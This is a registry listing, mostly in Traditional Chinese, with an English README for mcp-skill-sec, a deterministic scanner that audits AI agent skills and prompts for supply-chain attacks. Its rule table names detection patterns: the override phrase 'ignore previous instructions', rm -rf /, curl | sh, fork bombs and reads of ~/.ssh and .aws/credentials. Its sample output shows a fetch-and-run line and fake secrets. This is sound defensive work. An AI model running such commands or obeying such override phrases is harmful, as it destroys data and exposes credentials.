Mcp Skill Sec

io.github.sudo-ai-git由 GitHub 帳號 sudo-ai-git 發布v1.0.0更新於 Oct 24, 2026

Audit agent skills/prompts against 8 supply-chain attack patterns. Deterministic, no-LLM scanner.

已驗證STDIO僅桌面開發者工具安全與監控

概覽

AI 產生的概覽

一個在本機執行的確定性掃描器,讓助理依 8 類供應鏈攻擊模式稽核代理技能、系統提示詞與下載的檔案集合。

可以做什麼
  • 稽核貼上的文字或提示詞字串,並給出附行號的證據
  • 稽核磁碟上的單一技能或代理指示檔,例如 SKILL.md、AGENTS.md、CLAUDE.md
  • 稽核整個下載的技能目錄,回傳逐檔結論與彙總
  • 列出規則目錄,涵蓋提示詞注入、資料外洩、硬編碼金鑰、危險指令、混淆、不可信外部抓取、憑證存取與權限提升
適用情境
在安裝或信任第三方技能、提示詞或下載的技能集合之前使用,適合需要確定性檢查、嚴重程度與 PASS/FLAG 結論而非大型語言模型判斷的情境。
執行需求
以本機 stdio 程序在使用者電腦上執行(僅桌面端)。可透過 uv tool 或 pipx 從專案儲存庫安裝,或以 mcp 套件從原始碼執行;未宣告需要 API 金鑰、帳號或網路存取。
安裝前請注意
它會讀取你指定路徑下的檔案,請只指向願意被檢查的內容。結論來自樣式比對而非安全保證:PASS 不代表技能無害,被標記的證據行可能包含掃描檔案中發現的金鑰。

安裝

在 SourceWeft 中

  1. 開啟 儀表板中的 Mcp Skill Sec,將其新增到工作區。
  2. 為需要使用其工具的對話啟用該服務。

Desktop only,透過 STDIO。 STDIO 服務會啟動本機處理程序,因此需要 SourceWeft 桌面主機。

其他 MCP 客戶端

參照 儲存庫 中的啟動說明。

README

mcp-skill-sec

A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.

Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.

What it scans for (rules R1–R8)

RulePattern
R1Prompt injection / instruction hijack (ignore previous instructions, secrecy directives, identity overrides)
R2Data exfiltration intent (send/post/email contents to a URL, log theft)
R3Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings)
R4Dangerous commands (rm -rf /, curl | sh, fork bombs, raw device writes)
R5Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars)
R6Untrusted external fetches (fetch-and-run, non-PyPI installs)
R7Credential access (reading ~/.ssh, .aws/credentials, .env)
R8Privilege escalation (sudo -s, setuid, adding to sudo group)

Each finding carries a severity (critical/high/medium/low), a line number, and the matching evidence line. The overall verdict is PASS only when there are no critical/high findings and every medium finding is benign.

Tools

  • audit_text(text, filename) — audit a string (a skill you were pasted, a system prompt you didn't write).
  • audit_skill_file(path) — audit a SKILL.md / AGENTS.md / CLAUDE.md on disk, line-numbered evidence.
  • audit_directory(path, pattern) — audit a whole downloaded skills collection; returns per-file verdicts + a summary.
  • rule_list() — dump the rule catalog.

Install & run

One command (recommended) — installs from the repo, no PyPI token needed:

bash
uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec# then register with your agent:mcp-skill-sec                       # run stdio servermcp-skill-sec --http --port 8137    # or Streamable HTTP for remote use

Or with pipx: pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec

Direct from source (fallback):

bash
pip install mcppython3 mcp_server.py               # run stdiomcp install mcp_server.py --name skill-sec   # register with Claude Desktop

Claude Desktop / agent config

json
{  "mcpServers": {    "skill-sec": {      "command": "mcp-skill-sec",      "args": []    }  }}

Example

text
skill-sec: /tmp/downloaded-skill/SKILL.md  verdict : FLAG  counts  : critical 1, high 2, medium 1, low 0  R3 [critical] line 11: api_key = "sk-live-…"  R3 [high]     line 14: password = "hunter2"  R4 [critical] line 22: curl https://x/y.sh | sh  action : remove the literal secrets, drop the fetch-and-run, re-audit

Part of a family

This is one of three deterministic, no-LLM agent-trust MCP servers by sudo-ai-git:

Sibling product: mcp-token-saver — token-cost proxy + analyzer for agent conversations (dedupes redundant tokens before they're billed; live-proven 74% cut). Discussion

Also in the family (a free CLI, not an MCP server): harness-audit — deterministic agent-eval / benchmark-grading hygiene audit that catches the same silent config-leakage mis-scoring class. Free lead-magnet; the same verification discipline, zero dependencies, auditable line-by-line.

License & provenance

MIT. Written by sudo-ai-git. This is a standalone security/verification tool; it encodes no proprietary method. It is the MCP expression of the skill-sec agent skill (same rules, callable as a server instead of a skill).

Official MCP Registry metadata

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

Hire a custom integration

Need this connected to your internal system (auth, logging, security-scan pass, hosted)? Open a custom-build request. MIT reference assets are free to use either way.

[mcp-skill-sec MCP server]

來源:README.md,提交 60bf748

工具

0
SourceWeft 尚未在沙箱中啟動過該軟體包,因此其工具未知。

版本歷史

1
  1. v1.0.0最新Sep 16, 2026

評分

已滿足適用檢查項的 40%

該評分衡量此收錄條目的完整程度,依據註冊中心條目、端點與公開來源計算得出。它不是對伺服器本身的評價,也不表示伺服器安全或目前可用:可連通性是帶日期的檢查結果,評分也不包含安裝量或使用者評價。

  • 近 30 天內可連通25 分

    請保持端點能夠回應 MCP 握手;SourceWeft 每 30 天探測一次。

  • 已宣告認證方式10 分

    請在註冊中心條目中宣告憑證請求標頭,或保持端點能夠回應探測,以便判定其認證方式。

  • 已列出工具15 分

    請讓伺服器在無憑證時回應 tools/list,或發布可在沙箱中無憑證啟動的軟體包。

  • 描述必需15 分
  • 圖示10 分
  • 文件15 分
  • 授權條款10 分

    請在儲存庫或註冊中心條目中宣告授權條款。